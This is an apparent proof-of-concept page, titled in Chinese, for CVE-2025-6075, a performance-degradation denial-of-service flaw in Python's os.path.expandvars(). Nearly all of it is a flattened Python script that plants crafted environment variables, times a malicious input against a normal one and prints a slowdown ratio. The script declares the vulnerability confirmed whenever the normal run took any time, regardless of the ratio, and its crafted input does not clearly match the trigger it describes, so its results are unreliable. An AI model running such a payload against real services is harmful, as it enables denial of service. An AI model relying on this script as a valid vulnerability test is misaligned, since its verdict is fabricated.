CVE-2025-6075 Python os.path.expandvars() 性能降级拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2025-6075 PoC - Python os.path.expandvars() Performance Degradation This PoC demonstrates the performance degradation when os.path.expandvars() processes user-controlled input with specially crafted environment variables. """ import os import time import string def measure_expandvars_time(input_string, iterations=1000): """Measure the time taken by os.path.expandvars()""" start = time.time() for _ in range(iterations): os.path.expandvars(input_string) end = time.time() return end - start def generate_malicious_env_vars(): """Generate environment variables that trigger the vulnerability""" # Create environment variables with special patterns for i in range(100): # Pattern that triggers quadratic behavior var_name = 'A' * i + '$' var_value = 'X' * 100 os.environ[var_name] = var_value def main(): print("CVE-2025-6075 PoC - os.path.expandvars() Performance Degradation") print("=" * 70) # Normal case normal_input = "$HOME/path/to/file.txt" normal_time = measure_expandvars_time(normal_input) print(f"Normal case time: {normal_time:.4f} seconds") # Setup malicious environment variables print("\nSetting up malicious environment variables...") generate_malicious_env_vars() # Malicious case - triggers performance degradation malicious_input = "$" + "A" * 99 + "$/path/to/file.txt" malicious_time = measure_expandvars_time(malicious_input) print(f"Malicious case time: {malicious_time:.4f} seconds") # Calculate performance ratio if normal_time > 0: ratio = malicious_time / normal_time print(f"\nPerformance degradation ratio: {ratio:.2f}x") print("Vulnerability confirmed: Significant performance degradation detected!") # Cleanup for i in range(100): var_name = 'A' * i + '$' if var_name in os.environ: del os.environ[var_name] if __name__ == "__main__": main()